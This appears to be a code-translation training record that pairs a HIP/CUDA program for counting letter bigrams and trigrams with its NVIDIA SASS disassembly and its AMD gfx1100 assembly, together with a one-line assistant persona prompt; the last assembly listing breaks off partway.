// this utility method allows the user to better understand the CUDA errors
static void CheckCudaErrorAux(const char *file, unsigned line,
const char *statement, hipError_t err) {
if (err == hipSuccess)
return;
std::cerr << statement << " returned " << hipGetErrorString(err) << "("
<< err << ") at " << file << ":" << line << std::endl;
exit(1);
}
// converts the passed text line into only lower case alphabet characters
__host__ string clean(string in) {
string final;
for(int i = 0; i < in.length(); i++) {
if(isalpha(in[i])) final += tolower(in[i]);
}
return final;
}
// this method finds the graphems (bigram or trigram) using the CPU
__host__ void findGraphemsWithCPU(string line, std::map<std::string,int> &graphems) {
int tail = FIND_BIGRAM? 1 : 2;
for(int i = 0; i < line.length()-tail; i++) {
string key = std::string() + line[i] + line[i+1];
if(!FIND_BIGRAM)
key = key + line[i+2];
std::map<std::string,int>::iterator it = graphems.find(key);
if(it != graphems.end()){
it->second++;
}else{
graphems.insert(std::make_pair(key, 1));
}
}
}
// this method finds the graphems (bigram or trigram) using the CPU
__host__ std::map<std::string,int> methodWithCPU(std::string line){
std::map<std::string,int> graphems;
findGraphemsWithCPU(line,graphems);
return graphems;
}
// this method converts a character into an int
__device__ int getCharIndex(char c){
return (c - 'a');
}
//this method finds the graphems (bigram or trigram) using the GPU
__global__ void findGraphemsWithGPU(const char *line, int* graphemsArray, int sliceLength, int lineLength, bool findBigram) {
int startPoint =
blockDim.x * blockIdx.x +
threadIdx.x;
startPoint *= sliceLength;
int endPoint = startPoint + sliceLength - 1;
int tail = findBigram? 1 : 2;
endPoint += tail;
int index1;
int index2;
int index3;
if((startPoint+tail) < lineLength ){
index2 = getCharIndex(line[startPoint]);
if(!findBigram) {
index3 = getCharIndex(line[startPoint+1]);
}
}
while((startPoint+tail) <= endPoint && (startPoint+tail) < lineLength){
index1 = index2;
if(findBigram) {
index2 = getCharIndex(line[startPoint+tail]);
atomicAdd(&graphemsArray[index1 * 26 + index2 ], 1);
}else{
index2 = index3;
index3 = getCharIndex(line[startPoint+tail]);
atomicAdd(&graphemsArray[index1 * 26 * 26 + index2 * 26 + index3], 1);
}
startPoint++;
}
return;
}
// this method prints the graphems found with the GPU
__host__ void print(int *graphemsArrayHost){
int lengthGraphems = FIND_BIGRAM? 26*26 : 26*26*26;
std::string alphabet = "abcdefghijklmnopqrstuvwxyz";
for(int i = 0 ; i < lengthGraphems; i++){
if(graphemsArrayHost[i] != 0){
div_t result1 = std::div(i,26);
div_t result2 = std::div(result1.quot,26);
if(FIND_BIGRAM){
cout << (std::string() + alphabet[result2.rem]+ alphabet[result1.rem]) << " = " << graphemsArrayHost[i] << "\n";
}else{
div_t result3 = std::div(result2.quot,26);
cout << (std::string() + alphabet[result3.rem]+ alphabet[result2.rem] + alphabet[result1.rem]) << " = " << graphemsArrayHost[i] << "\n";
}
}
}
}
// this method finds the graphems (bigram or trigram) using the GPU
__host__ int* methodWithGPU(std::string line){
// GRAPHEMS ARRAY
int lengthGraphems = FIND_BIGRAM? 26*26 : 26*26*26;
int *graphemsArrayDevice;
int *graphemsArrayHost=(int*)calloc(lengthGraphems,sizeof(int));
// allocate device memory
CUDA_CHECK_RETURN(
hipMalloc((void ** )&graphemsArrayDevice,
sizeof(int) * lengthGraphems));
// copy from host to device memory
CUDA_CHECK_RETURN(
hipMemcpy(graphemsArrayDevice, graphemsArrayHost, lengthGraphems * sizeof(int),
hipMemcpyHostToDevice));
// TEXT LINE
int lengthLine = line.length();
char *lineDevice;
// allocate device memory
CUDA_CHECK_RETURN(
hipMalloc((void ** )&lineDevice,
sizeof(char) * lengthLine));
//
// copy from host to device memory
CUDA_CHECK_RETURN(
hipMemcpy(lineDevice, line.c_str(), lengthLine * sizeof(char),
hipMemcpyHostToDevice));
// execute kernel
int totalthreadNumber = GRID_DIM * BLOCK_DIM;
int sliceLength = ceil(float(lengthLine)/float(totalthreadNumber));
findGraphemsWithGPU<<< GRID_DIM, BLOCK_DIM >>>(lineDevice, graphemsArrayDevice, sliceLength, lengthLine, FIND_BIGRAM);
//
hipDeviceSynchronize();
// copy results from device memory to host
CUDA_CHECK_RETURN(
hipMemcpy(graphemsArrayHost, graphemsArrayDevice, lengthGraphems * sizeof(int),
hipMemcpyDeviceToHost));
// Free the GPU memory here
hipFree(lineDevice);
hipFree(graphemsArrayDevice);
return graphemsArrayHost;
}
// The main method.
// Parameters:
// 1 - [b,t] in order to chose between "Bigrams" or "Trigrams" (default: b)
// 2 - size of grid for the initial call (default: 10)
// 3 - size of block for the initial call (default: 128)
// 4 - [t,f,true,false] to print the result of the graphems (default: false)
// 5 - the name of the input file (default: inputTextLong.txt)
//
// calling example: ./main t 5 32 true inputTextVeryLong.txtx
__host__ int main(int argc, char** argv) {
if(argc > 1){
std::string setting(argv[1]);
if(setting == "b" ) {
FIND_BIGRAM = true;
}else if(setting == "t" ) {
FIND_BIGRAM = false;
}else{
cout<<"Parameter "<< argv[1] <<" not accepted. Only \"b\" (bigram), \"t\" (trigram), accepted. "<< "\n";
return 0;
}
if(argc > 2){
GRID_DIM = atoi(argv[2]);
if(argc > 3){
BLOCK_DIM = atoi(argv[3]);
if(argc > 4){
std::string setting(argv[4]);
if (setting == "t" || setting == "true")
PRINT = true;
if(argc > 5){
std::string setting(argv[5]);
nameFile = setting;
}
}
}
}
}
std::string line;
std::string longLine;
std::string path = "input/"+nameFile;
ifstream myfile(path.c_str());
if (myfile.is_open()) {
while (getline(myfile, line)) {
// Cleaning the line
line = clean(line);
longLine += line;
}
myfile.close();
}
else
cout << "Unable to open file";
clock_t beginCPU = clock();
std::map<std::string,int> graphems;
graphems = methodWithCPU(longLine);
clock_t endCPU = clock();
// showing contents:
cout<< "GRID_DIM: " << GRID_DIM << ", BLOCK_DIM: " << BLOCK_DIM << "\n";
double elapsed_secsCPU = double(endCPU - beginCPU) / CLOCKS_PER_SEC;
cout<<"CPU METHOD: " << "\n";
cout<<"Elapsed milliseconds: " << elapsed_secsCPU*1000 << "\n";
cout<<"Microseconds: " << endCPU - beginCPU << "\n";
// ITERATION TO START COMUNICATION WITH GPU
int *graphemsArrayHost;
clock_t beginGPU = clock();
graphemsArrayHost = methodWithGPU(longLine);
clock_t endGPU = clock();
// Free host memory
double elapsed_secsGPU = double(endGPU - beginGPU) / CLOCKS_PER_SEC;
std::cout << "FIRST ITERATION. GRID_DIM: " << GRID_DIM << ", BLOCK_DIM: " << BLOCK_DIM << "\n";
std::cout << "Elapsed Milliseconds: " << elapsed_secsGPU*1000 << "\n";
//verify data
if(PRINT){
std::cout << "The graphems obtained with CPU are:\n";
std::map<std::string,int>::iterator it;
for (it=graphems.begin(); it!=graphems.end(); ++it)
std::cout << it->first << " => " << it->second << '\n';
std::cout << "\n\n -----------------------------------------\n\n";
std::cout << "The graphems obtained with GPU are:\n";
print(graphemsArrayHost);
}
free(graphemsArrayHost);
std::cout << "Elapsed milliseconds changing grid dimension and block dimension: \n";
for (int dimBlocco=1; dimBlocco <= 512 ; dimBlocco = dimBlocco*2 ){
std::cout << "," << dimBlocco;
}
std::cout << "\n\n";
for (int dimGriglia=1; dimGriglia <= 512 ; dimGriglia = dimGriglia*2 ){
GRID_DIM = dimGriglia;
std::cout << dimGriglia;
for (int dimBlocco=1; dimBlocco <= 512 ; dimBlocco = dimBlocco*2 ){
BLOCK_DIM = dimBlocco;
int *graphemsArrayHost;
clock_t beginGPU = clock();
graphemsArrayHost = methodWithGPU(longLine);
clock_t endGPU = clock();
// Free host memory
free(graphemsArrayHost);
double elapsed_secsGPU = double(endGPU - beginGPU) / CLOCKS_PER_SEC;
std::cout << ", "<< elapsed_secsGPU*1000 ;
}
std::cout << "\n";
}
return 0;
} | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.protected _Z19findGraphemsWithGPUPKcPiiib
.globl _Z19findGraphemsWithGPUPKcPiiib
.p2align 8
.type _Z19findGraphemsWithGPUPKcPiiib,@function
_Z19findGraphemsWithGPUPKcPiiib:
s_clause 0x2
s_load_b32 s4, s[0:1], 0x18
s_load_b32 s5, s[0:1], 0x2c
s_load_b64 s[2:3], s[0:1], 0x10
s_waitcnt lgkmcnt(0)
s_bitcmp1_b32 s4, 0
s_cselect_b32 s4, -1, 0
s_delay_alu instid0(SALU_CYCLE_1)
s_and_b32 s6, s4, exec_lo
s_cselect_b32 s8, 1, 2
s_and_b32 s5, s5, 0xffff
s_load_b64 s[6:7], s[0:1], 0x0
v_mad_u64_u32 v[1:2], null, s15, s5, v[0:1]
s_xor_b32 s9, s4, -1
s_mov_b32 s4, exec_lo
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_mul_lo_u32 v2, v1, s2
v_add_nc_u32_e32 v3, s8, v2
s_delay_alu instid0(VALU_DEP_1)
v_cmpx_gt_i32_e64 s3, v3
s_cbranch_execz .LBB0_5
v_ashrrev_i32_e32 v1, 31, v2
s_waitcnt lgkmcnt(0)
v_add_co_u32 v0, vcc_lo, s6, v2
s_delay_alu instid0(VALU_DEP_2)
v_add_co_ci_u32_e32 v1, vcc_lo, s7, v1, vcc_lo
s_and_not1_b32 vcc_lo, exec_lo, s9
global_load_i8 v4, v[0:1], off
s_cbranch_vccnz .LBB0_3
global_load_i8 v0, v[0:1], off offset:1
s_waitcnt vmcnt(0)
v_add_nc_u32_e32 v5, 0xffffff9f, v0
s_branch .LBB0_4
.LBB0_3:
.LBB0_4:
s_waitcnt vmcnt(0)
v_add_nc_u32_e32 v7, 0xffffff9f, v4
.LBB0_5:
s_or_b32 exec_lo, exec_lo, s4
v_cmp_gt_i32_e32 vcc_lo, s3, v3
s_cmp_gt_i32 s2, 0
s_mov_b32 s10, 0
s_cselect_b32 s4, -1, 0
s_delay_alu instid0(SALU_CYCLE_1) | instskip(NEXT) | instid1(SALU_CYCLE_1)
s_and_b32 s4, s4, vcc_lo
s_and_saveexec_b32 s5, s4
s_cbranch_execz .LBB0_13
s_load_b64 s[4:5], s[0:1], 0x8
v_ashrrev_i32_e32 v1, 31, v3
s_waitcnt lgkmcnt(0)
v_add_co_u32 v0, vcc_lo, s6, v3
v_dual_mov_b32 v9, 1 :: v_dual_add_nc_u32 v6, s2, v2
s_delay_alu instid0(VALU_DEP_3)
v_add_co_ci_u32_e32 v1, vcc_lo, s7, v1, vcc_lo
v_add_nc_u32_e32 v8, 1, v2
s_set_inst_prefetch_distance 0x1
s_branch .LBB0_8
.p2align 6
.LBB0_7:
s_delay_alu instid0(VALU_DEP_3) | instskip(NEXT) | instid1(VALU_DEP_2)
v_ashrrev_i32_e32 v4, 31, v3
v_mov_b32_e32 v7, v10
s_delay_alu instid0(VALU_DEP_3) | instskip(NEXT) | instid1(VALU_DEP_3)
v_mov_b32_e32 v5, v2
v_lshlrev_b64 v[3:4], 2, v[3:4]
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_2)
v_add_co_u32 v3, vcc_lo, s4, v3
v_add_co_ci_u32_e32 v4, vcc_lo, s5, v4, vcc_lo
v_cmp_ge_i32_e32 vcc_lo, v8, v6
global_atomic_add_u32 v[3:4], v9, off
v_add_nc_u32_e32 v3, s8, v8
v_add_nc_u32_e32 v8, 1, v8
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
v_cmp_le_i32_e64 s0, s3, v3
s_or_b32 s0, vcc_lo, s0
v_add_co_u32 v0, vcc_lo, v0, 1
v_add_co_ci_u32_e32 v1, vcc_lo, 0, v1, vcc_lo
s_and_b32 s0, exec_lo, s0
s_delay_alu instid0(SALU_CYCLE_1) | instskip(NEXT) | instid1(SALU_CYCLE_1)
s_or_b32 s10, s0, s10
s_and_not1_b32 exec_lo, exec_lo, s10
s_cbranch_execz .LBB0_13
.LBB0_8:
global_load_i8 v2, v[0:1], off
s_and_b32 vcc_lo, exec_lo, s9
s_waitcnt vmcnt(0)
v_add_nc_u32_e32 v2, 0xffffff9f, v2
s_cbranch_vccz .LBB0_10
v_mul_lo_u32 v3, v7, 0x2a4
v_mul_lo_u32 v4, v5, 26
s_mov_b32 s0, 0
s_delay_alu instid0(VALU_DEP_1)
v_add3_u32 v3, v4, v3, v2
s_branch .LBB0_11
.LBB0_10:
s_mov_b32 s0, -1
.LBB0_11:
v_mov_b32_e32 v10, v5
s_and_not1_b32 vcc_lo, exec_lo, s0
s_cbranch_vccnz .LBB0_7
v_mad_u64_u32 v[3:4], null, v7, 26, v[2:3]
v_mov_b32_e32 v10, v2
v_mov_b32_e32 v2, v5
s_branch .LBB0_7
.LBB0_13:
s_set_inst_prefetch_distance 0x2
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z19findGraphemsWithGPUPKcPiiib
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 288
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 11
.amdhsa_next_free_sgpr 16
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end0:
.size _Z19findGraphemsWithGPUPKcPiiib, .Lfunc_end0-_Z19findGraphemsWithGPUPKcPiiib
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args:
- .address_space: global
.offset: 0
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 8
.size: 8
.value_kind: global_buffer
- .offset: 16
.size: 4
.value_kind: by_value
- .offset: 20
.size: 4
.value_kind: by_value
- .offset: 24
.size: 1
.value_kind: by_value
- .offset: 32
.size: 4
.value_kind: hidden_block_count_x
- .offset: 36
.size: 4
.value_kind: hidden_block_count_y
- .offset: 40
.size: 4
.value_kind: hidden_block_count_z
- .offset: 44
.size: 2
.value_kind: hidden_group_size_x
- .offset: 46
.size: 2
.value_kind: hidden_group_size_y
- .offset: 48
.size: 2
.value_kind: hidden_group_size_z
- .offset: 50
.size: 2
.value_kind: hidden_remainder_x
- .offset: 52
.size: 2
.value_kind: hidden_remainder_y
- .offset: 54
.size: 2
.value_kind: hidden_remainder_z
- .offset: 72
.size: 8
.value_kind: hidden_global_offset_x
- .offset: 80
.size: 8
.value_kind: hidden_global_offset_y
- .offset: 88
.size: 8
.value_kind: hidden_global_offset_z
- .offset: 96
.size: 2
.value_kind: hidden_grid_dims
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 288
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z19findGraphemsWithGPUPKcPiiib
.private_segment_fixed_size: 0
.sgpr_count: 18
.sgpr_spill_count: 0
.symbol: _Z19findGraphemsWithGPUPKcPiiib.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 11
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting from CUDA device assembly to AMD device assembly. | code for sm_80
Function : _Z19findGraphemsWithGPUPKcPiiib
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ IMAD.MOV.U32 R1, RZ, RZ, c[0x0][0x28] ; /* 0x00000a00ff017624 */
/* 0x000fe400078e00ff */
/*0010*/ S2R R0, SR_CTAID.X ; /* 0x0000000000007919 */
/* 0x000e220000002500 */
/*0020*/ ULDC.S8 UR4, c[0x0][0x178] ; /* 0x00005e0000047ab9 */
/* 0x000fe20000000200 */
/*0030*/ IMAD.MOV.U32 R2, RZ, RZ, 0x2 ; /* 0x00000002ff027424 */
/* 0x000fe200078e00ff */
/*0040*/ ISETP.NE.AND P0, PT, RZ, UR4, PT ; /* 0x00000004ff007c0c */
/* 0x000fe2000bf05270 */
/*0050*/ S2R R3, SR_TID.X ; /* 0x0000000000037919 */
/* 0x000e220000002100 */
/*0060*/ ULDC.64 UR6, c[0x0][0x118] ; /* 0x0000460000067ab9 */
/* 0x000fe20000000a00 */
/*0070*/ BSSY B0, 0x190 ; /* 0x0000011000007945 */
/* 0x000fe20003800000 */
/*0080*/ IMAD R0, R0, c[0x0][0x0], R3 ; /* 0x0000000000007a24 */
/* 0x001fe200078e0203 */
/*0090*/ SEL R3, R2, 0x1, !P0 ; /* 0x0000000102037807 */
/* 0x000fc60004000000 */
/*00a0*/ IMAD R0, R0, c[0x0][0x170], RZ ; /* 0x00005c0000007a24 */
/* 0x000fc800078e02ff */
/*00b0*/ IMAD.IADD R9, R0, 0x1, R3 ; /* 0x0000000100097824 */
/* 0x000fe200078e0203 */
/*00c0*/ IADD3 R2, R3, c[0x0][0x170], R0 ; /* 0x00005c0003027a10 */
/* 0x000fc80007ffe000 */
/*00d0*/ ISETP.GE.AND P2, PT, R9, c[0x0][0x174], PT ; /* 0x00005d0009007a0c */
/* 0x000fe40003f46270 */
/*00e0*/ IADD3 R2, R2, -0x1, RZ ; /* 0xffffffff02027810 */
/* 0x000fc80007ffe0ff */
/*00f0*/ ISETP.GT.OR P1, PT, R9, R2, P2 ; /* 0x000000020900720c */
/* 0x000fce0001724670 */
/*0100*/ @P2 BRA 0x180 ; /* 0x0000007000002947 */
/* 0x000fea0003800000 */
/*0110*/ ISETP.NE.AND P2, PT, RZ, UR4, PT ; /* 0x00000004ff007c0c */
/* 0x000fe4000bf45270 */
/*0120*/ IADD3 R4, P3, R0, c[0x0][0x160], RZ ; /* 0x0000580000047a10 */
/* 0x000fc80007f7e0ff */
/*0130*/ LEA.HI.X.SX32 R5, R0, c[0x0][0x164], 0x1, P3 ; /* 0x0000590000057a11 */
/* 0x000fca00018f0eff */
/*0140*/ LDG.E.S8 R6, [R4.64] ; /* 0x0000000604067981 */
/* 0x000ea8000c1e1300 */
/*0150*/ @!P2 LDG.E.S8 R7, [R4.64+0x1] ; /* 0x000001060407a981 */
/* 0x000ee2000c1e1300 */
/*0160*/ IADD3 R8, R6, -0x61, RZ ; /* 0xffffff9f06087810 */
/* 0x004fe40007ffe0ff */
/*0170*/ @!P2 IADD3 R11, R7, -0x61, RZ ; /* 0xffffff9f070ba810 */
/* 0x008fe40007ffe0ff */
/*0180*/ BSYNC B0 ; /* 0x0000000000007941 */
/* 0x000fea0003800000 */
/*0190*/ @P1 EXIT ; /* 0x000000000000194d */
/* 0x000fea0003800000 */
/*01a0*/ @!P0 BRA 0x2c0 ; /* 0x0000011000008947 */
/* 0x000fea0003800000 */
/*01b0*/ IADD3 R6, P0, R9, c[0x0][0x160], RZ ; /* 0x0000580009067a10 */
/* 0x000fc80007f1e0ff */
/*01c0*/ LEA.HI.X.SX32 R7, R9, c[0x0][0x164], 0x1, P0 ; /* 0x0000590009077a11 */
/* 0x000fca00000f0eff */
/*01d0*/ LDG.E.S8 R6, [R6.64] ; /* 0x0000000606067981 */
/* 0x000ea2000c1e1300 */
/*01e0*/ IADD3 R0, R0, 0x1, RZ ; /* 0x0000000100007810 */
/* 0x000fe20007ffe0ff */
/*01f0*/ IMAD.MOV.U32 R5, RZ, RZ, 0x4 ; /* 0x00000004ff057424 */
/* 0x001fe200078e00ff */
/*0200*/ YIELD ; /* 0x0000000000007946 */
/* 0x000fe20003800000 */
/*0210*/ IMAD.MOV.U32 R13, RZ, RZ, 0x1 ; /* 0x00000001ff0d7424 */
/* 0x000fe400078e00ff */
/*0220*/ IMAD.IADD R9, R3, 0x1, R0 ; /* 0x0000000103097824 */
/* 0x000fca00078e0200 */
/*0230*/ ISETP.GE.AND P0, PT, R9.reuse, c[0x0][0x174], PT ; /* 0x00005d0009007a0c */
/* 0x040fe40003f06270 */
/*0240*/ ISETP.LE.AND P1, PT, R9, R2, PT ; /* 0x000000020900720c */
/* 0x000fe40003f23270 */
/*0250*/ IADD3 R11, R6, -0x61, RZ ; /* 0xffffff9f060b7810 */
/* 0x004fca0007ffe0ff */
/*0260*/ IMAD R4, R8, 0x1a, R11 ; /* 0x0000001a08047824 */
/* 0x000fc800078e020b */
/*0270*/ IMAD.WIDE R4, R4, R5, c[0x0][0x168] ; /* 0x00005a0004047625 */
/* 0x000fca00078e0205 */
/*0280*/ RED.E.ADD.STRONG.GPU [R4.64], R13 ; /* 0x0000000d0400798e */
/* 0x0001e2000c10e186 */
/*0290*/ IMAD.MOV.U32 R8, RZ, RZ, R11 ; /* 0x000000ffff087224 */
/* 0x000fe200078e000b */
/*02a0*/ @!P0 BRA P1, 0x1b0 ; /* 0xffffff0000008947 */
/* 0x000fea000083ffff */
/*02b0*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*02c0*/ IADD3 R6, P0, R9, c[0x0][0x160], RZ ; /* 0x0000580009067a10 */
/* 0x000fc80007f1e0ff */
/*02d0*/ LEA.HI.X.SX32 R7, R9, c[0x0][0x164], 0x1, P0 ; /* 0x0000590009077a11 */
/* 0x000fca00000f0eff */
/*02e0*/ LDG.E.S8 R6, [R6.64] ; /* 0x0000000606067981 */
/* 0x000ea2000c1e1300 */
/*02f0*/ IMAD R5, R8, 0x1a, R11.reuse ; /* 0x0000001a08057824 */
/* 0x100fe200078e020b */
/*0300*/ IADD3 R0, R0, 0x1, RZ ; /* 0x0000000100007810 */
/* 0x000fe20007ffe0ff */
/*0310*/ IMAD.MOV.U32 R9, RZ, RZ, 0x4 ; /* 0x00000004ff097424 */
/* 0x000fe200078e00ff */
/*0320*/ YIELD ; /* 0x0000000000007946 */
/* 0x000fe20003800000 */
/*0330*/ IMAD.MOV.U32 R13, RZ, RZ, 0x1 ; /* 0x00000001ff0d7424 */
/* 0x000fe400078e00ff */
/*0340*/ IMAD.MOV.U32 R8, RZ, RZ, R11 ; /* 0x000000ffff087224 */
/* 0x000fe200078e000b */
/*0350*/ IADD3 R10, R6, -0x61, RZ ; /* 0xffffff9f060a7810 */
/* 0x004fca0007ffe0ff */
/*0360*/ IMAD R4, R5, 0x1a, R10 ; /* 0x0000001a05047824 */
/* 0x000fc800078e020a */
/*0370*/ IMAD.WIDE R4, R4, R9, c[0x0][0x168] ; /* 0x00005a0004047625 */
/* 0x000fc800078e0209 */
/*0380*/ IMAD.IADD R9, R3, 0x1, R0 ; /* 0x0000000103097824 */
/* 0x000fe200078e0200 */
/*0390*/ RED.E.ADD.STRONG.GPU [R4.64], R13 ; /* 0x0000000d0400798e */
/* 0x0001e2000c10e186 */
/*03a0*/ IMAD.MOV.U32 R11, RZ, RZ, R10 ; /* 0x000000ffff0b7224 */
/* 0x000fc600078e000a */
/*03b0*/ ISETP.GE.AND P0, PT, R9.reuse, c[0x0][0x174], PT ; /* 0x00005d0009007a0c */
/* 0x040fe40003f06270 */
/*03c0*/ ISETP.LE.AND P1, PT, R9, R2, PT ; /* 0x000000020900720c */
/* 0x000fda0003f23270 */
/*03d0*/ @!P0 BRA P1, 0x2c0 ; /* 0xfffffee000008947 */
/* 0x001fea000083ffff */
/*03e0*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*03f0*/ BRA 0x3f0; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*0400*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0410*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0420*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0430*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0440*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0450*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0460*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0470*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
.......... | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.protected _Z19findGraphemsWithGPUPKcPiiib
.globl _Z19findGraphemsWithGPUPKcPiiib
.p2align 8
.type _Z19findGraphemsWithGPUPKcPiiib,@function
_Z19findGraphemsWithGPUPKcPiiib:
s_clause 0x2
s_load_b32 s4, s[0:1], 0x18
s_load_b32 s5, s[0:1], 0x2c
s_load_b64 s[2:3], s[0:1], 0x10
s_waitcnt lgkmcnt(0)
s_bitcmp1_b32 s4, 0
s_cselect_b32 s4, -1, 0
s_delay_alu instid0(SALU_CYCLE_1)
s_and_b32 s6, s4, exec_lo
s_cselect_b32 s8, 1, 2
s_and_b32 s5, s5, 0xffff
s_load_b64 s[6:7], s[0:1], 0x0
v_mad_u64_u32 v[1:2], null, s15, s5, v[0:1]
s_xor_b32 s9, s4, -1
s_mov_b32 s4, exec_lo
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_mul_lo_u32 v2, v1, s2
v_add_nc_u32_e32 v3, s8, v2
s_delay_alu instid0(VALU_DEP_1)
v_cmpx_gt_i32_e64 s3, v3
s_cbranch_execz .LBB0_5
v_ashrrev_i32_e32 v1, 31, v2
s_waitcnt lgkmcnt(0)
v_add_co_u32 v0, vcc_lo, s6, v2
s_delay_alu instid0(VALU_DEP_2)
v_add_co_ci_u32_e32 v1, vcc_lo, s7, v1, vcc_lo
s_and_not1_b32 vcc_lo, exec_lo, s9
global_load_i8 v4, v[0:1], off
s_cbranch_vccnz .LBB0_3
global_load_i8 v0, v[0:1], off offset:1
s_waitcnt vmcnt(0)
v_add_nc_u32_e32 v5, 0xffffff9f, v0
s_branch .LBB0_4
.LBB0_3:
.LBB0_4:
s_waitcnt vmcnt(0)
v_add_nc_u32_e32 v7, 0xffffff9f, v4
.LBB0_5:
s_or_b32 exec_lo, exec_lo, s4
v_cmp_gt_i32_e32 vcc_lo, s3, v3
s_cmp_gt_i32 s2, 0
s_mov_b32 s10, 0
s_cselect_b32 s4, -1, 0
s_delay_alu instid0(SALU_CYCLE_1) | instskip(NEXT) | instid1(SALU_CYCLE_1)
s_and_b32 s4, s4, vcc_lo
s_and_saveexec_b32 s5, s4
s_cbranch_execz .LBB0_13
s_load_b64 s[4:5], s[0:1], 0x8
v_ashrrev_i32_e32 v1, 31, v3
s_waitcnt lgkmcnt(0)
v_add_co_u32 v0, vcc_lo, s6, v3
v_dual_mov_b32 v9, 1 :: v_dual_add_nc_u32 v6, s2, v2
s_delay_alu instid0(VALU_DEP_3)
v_add_co_ci_u32_e32 v1, vcc_lo, s7, v1, vcc_lo
v_add_nc_u32_e32 v8, 1, v2
s_set_inst_prefetch_distance 0x1
s_branch .LBB0_8
.p2align 6
.LBB0_7:
s_delay_alu instid0(VALU_DEP_3) | instskip(NEXT) | instid1(VALU_DEP_2)
v_ashrrev_i32_e32 v4, 31, v3
v_mov_b32_e32 v7, v10
s_delay_alu instid0(VALU_DEP_3) | instskip(NEXT) | instid1(VALU_DEP_3)
v_mov_b32_e32 v5, v2
v_lshlrev_b64 v[3:4], 2, v[3:4]
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_2)
v_add_co_u32 v3, vcc_lo, s4, v3
v_add_co_ci_u32_e32 v4, vcc_lo, s5, v4, vcc_lo
v_cmp_ge_i32_e32 vcc_lo, v8, v6
global_atomic_add_u32 v[3:4], v9, off
v_add_nc_u32_e32 v3, s8, v8
v_add_nc_u32_e32 v8, 1, v8
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
v_cmp_le_i32_e64 s0, s3, v3
s_or_b32 s0, vcc_lo, s0
v_add_co_u32 v0, vcc_lo, v0, 1
v_add_co_ci_u32_e32 v1, vcc_lo, 0, v1, vcc_lo
s_and_b32 s0, exec_lo, s0
s_delay_alu instid0(SALU_CYCLE_1) | instskip(NEXT) | instid1(SALU_CYCLE_1)
s_or_b32 s10, s0, s10
s_and_not1_b32 exec_lo, exec_lo, s10
s_cbranch_execz .LBB0_13
.LBB0_8:
global_load_i8 v2, v[0:1], off
s_and_b32 vcc_lo, exec_lo, s9
s_waitcnt vmcnt(0)
